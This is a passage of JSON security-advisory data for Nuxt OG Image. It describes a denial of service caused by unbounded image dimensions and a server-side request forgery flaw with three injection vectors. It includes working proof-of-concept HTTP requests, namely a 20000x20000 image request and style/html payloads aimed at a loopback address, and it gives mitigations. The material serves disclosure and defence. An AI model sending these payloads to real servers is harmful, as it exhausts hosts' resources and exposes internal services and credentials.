"summary": "Nuxt OG Image is vulnerable to Denial of Service via unbounded image dimensions",

"details": "**Product:** Nuxt OG Image \n**Version:** 6.1.2\n**CWE-ID:** [CWE-404](https://cwe.mitre.org/data/definitions/404.html): Improper Resource Shutdown or Release\n**Description:** Failure to limit the length and width of the generated image results in a denial of service.\n**Impact:** Denial of service\n**Exploitation condition:** An external user\n**Mitigation:** Implement a limitation on the width and length of the generated image.\n**Researcher:** Dmitry Prokhorov (Positive Technologies)\n\n## Research \nDuring the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered.\nThis research revealed that the image‑generation component by the URI: `/_og/d/` (and, in older versions, `/og-image/`) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.\n\n_Listing 1. The content of the configuration file `nuxt.config.ts`_ \n```\nexport default defineNuxtConfig({\n modules: ['nuxt-og-image'],\n devServer: {\n host: 'web-test.local',\n port: 3000\n },\n site: {\n url: 'http://web-test.local:3000',\n },\n ogImage: {\n fonts: [\n 'Inter:400', \n 'Inter:700'\n ],\n }\n})\n```\n\n## Vulnerability reproduction\nTo demonstrate the proof‑of‑concept, a request should be sent with the increased `width` and `height` parameters. This will cause a delay and exhaust the server’s resources during image generation.\n\n_Listing 2. HTTP-request example_\n```\nGET /_og/d/og.png?width=20000&height=20000 HTTP/1.1\nHost: web-test.local:3000\n```\n\n_Figure 1. HTTP-response: denial-of-service error_\n<img width=\"974\" height=\"663\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ff625249-2e0d-4a03-a734-3a77fd0cbb81\" />\n\nAfter sending a HTTP-request, the test server's memory was exhausted.\n\n_Figure 2. Video memory exhausted error_\n<img width=\"863\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66b5919a-f039-468e-812e-1f709c468287\" />\n\n\n## Credits\nResearcher: Dmitry Prokhorov (Positive Technologies)",

"details": "**Product:** Nuxt OG Image\n**Version:** < 6.2.5\n**CWE-ID:** [CWE-918](https://cwe.mitre.org/data/definitions/918.html): Server-Side Request Forgery\n\n## Description\n\nThe image generation endpoint (`/_og/d/`) accepts user-controlled parameters that are passed to the server-side renderer without proper validation or filtering. An attacker can trigger server-side requests to internal network addresses through multiple vectors.\n\n## Impact\n\n- Scanning internal ports and services inaccessible from the outside\n- Reading sensitive data from cloud infrastructure metadata services (tokens, credentials) when verbose error output is enabled\n\n## Attack Vectors\n\nThree distinct vectors were identified, all exploiting the same underlying lack of URL validation:\n\n### Vector 1: CSS `background-image` injection via `style` parameter\n\n```\nGET /_og/d/og.png?style=background-image:+url('http://127.0.0.1:8888/secret')\n```\n\n### Vector 2: `<img src>` injection via `html` parameter\n\n```\nGET /_og/d/og.png?html=<img src=\"http://127.0.0.1:8888/secret\">\n```\n\nWhen verbose errors are enabled, the response content is leaked in base64-encoded error messages.\n\n### Vector 3: SVG `<image href>` injection via `html` parameter\n\n```\nGET /_og/d/og.png?html=<svg><image href=\"http://127.0.0.1:8888/secret\"></svg>\n```\n\n## Mitigation\n\nFixed in v6.2.5. The image source plugin now blocks requests to private IP ranges (IPv4/IPv6), loopback addresses, link-local addresses, and cloud metadata endpoints. Decimal/hexadecimal IP encoding bypasses are also handled.\n\n## Credits\n\nResearcher: Dmitry Prokhorov (Positive Technologies)",
